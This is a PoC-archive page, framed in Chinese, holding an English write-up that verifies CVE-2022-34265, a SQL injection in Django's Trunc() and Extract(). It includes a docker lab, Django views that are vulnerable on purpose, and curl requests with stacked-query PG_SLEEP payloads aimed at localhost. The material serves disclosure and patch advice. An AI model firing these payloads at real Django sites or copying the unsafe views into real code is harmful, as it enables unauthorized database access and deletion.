关联漏洞
标题:
Django SQL注入漏洞
(CVE-2022-34265)
描述:Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 3.2.14 版本之前 3.2 版本和 4.0.6 版本之前的 4.0 版本存在SQL注入漏洞,该漏洞源于如果将不受信任的数据用作 kind/lookup_name 值,则 Trunc() 和 Extract() 数据库函数会受到 SQL 注入的影响。
描述
PoC for CVE-2022-34265 (Django)
介绍
# CVE-2022-34265
## Usage
**start**
```bash
docker-compose build
docker-compose up -d
```
**stop**
```bash
docker-compose down
```
## PoC verification of Django vulnerability (CVE-2022-34265)
A vulnerability (CVE-2022-34265) in Django was disclosed on July 5, 2022 (US time). This article describes our discussion of this vulnerability and the results of our verification.
### Vulnerability Summary
This vulnerability is due to improper string processing when executing SQL for the arguments of the functions `Trunc` and `Extract` used for date data in Django. By specifying the request parameters as is in the `kind` argument of `Trunc` or the `lookup_name` argument of `Extract`, there is a risk that arbitrary SQL minutes can be executed.
By exploiting this vulnerability, a third party can send commands to the database to access unauthorized data or delete the database.
### Affected Versions
- Django 3.2.x prior to 3.2.14
- Django 4.0.x prior to 4.0.6
### Countermeasures
- Update to Django 3.2.14 or higher.
- Update to Django 4.0.6 or higher.
### Vulnerability History and Considerations
Many of the vulnerabilities discovered in Django in the past were SQL Injection vulnerabilities, and we wondered if there were other vulnerabilities like [CVE-2020-7471](https://nvd.nist.gov/vuln/detail/CVE-2020-7471), so we checked the database function arguments in turn, we found arguments that had not been detoxified, and [Takuto Yoshikai](https://twitter.com/TakutoYoshikai) (the author) reported this to the IPA and the Django development team.
As a result, in the release resolving CVE-2022-34265
- String handling of vulnerable arguments
- String handling to prevent SQL statement corruption when single quotes or other characters are included in arguments
The following actions have been taken to address these issues.
### Verification environment
- ThinkPad Ubuntu20.04
- Python 3.9.7
- Django 4.0.5
### Verification procedure and results
#### Configuration
- Project Name: project
- Application Name: vuln
#### Source Code
**vuln/models.py**
We used an example from [Django Documentation](https://docs.djangoproject.com/en/4.0/ref/models/database-functions/), model for a table that records the start and end time of a date.
```python
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
```
**vuln/views.py**
```python
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
```
```python
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
```
This filters the year numbers in the start_datetime column of Experiment that are the same as the year, month, day, hour, minute, second, etc. of end_datetime. SQL Injection vulnerability may be triggered from here.
```python
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
```
The Trunc function is used to truncate specific year, month, day, hour, minute, second, etc. portions of date and time data.
In the above example, start_datetime and start_datetime with the payload portion truncated are the same record.
This is where the SQL Injection vulnerability could be triggered.
#### PoC
To verify that the attack succeeds, use the PG_SLEEP instruction to see if there is a delay in the time the response is returned.
```bash
# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
```
I have specified 5 seconds in PG_SLEEP, but it seems that PG_SLEEP(5) takes several seconds. It seems to be called several seconds depending on the implementation and situation.
Since arbitrary SQL statements can be executed, dangerous attacks such as database deletion are possible.
### Summary
As a result of our discussion and verification, we found that there is no small possibility of a successful attack depending on the implementation. We recommend that you update your system as soon as possible to avoid the risk of DROP TABLE in the worst case scenario.
### Reference Information
- https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34265
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7471
文件快照
[4.0K] /data/pocs/9da8addd62f7766250f8b9f95ca6da52393ec7cd
├── [ 653] docker-compose.yml
├── [ 349] Dockerfile
├── [ 393] models.py
├── [5.8K] README.md
├── [3.1K] settings.py
├── [ 849] urls.py
└── [1.1K] views.py
0 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。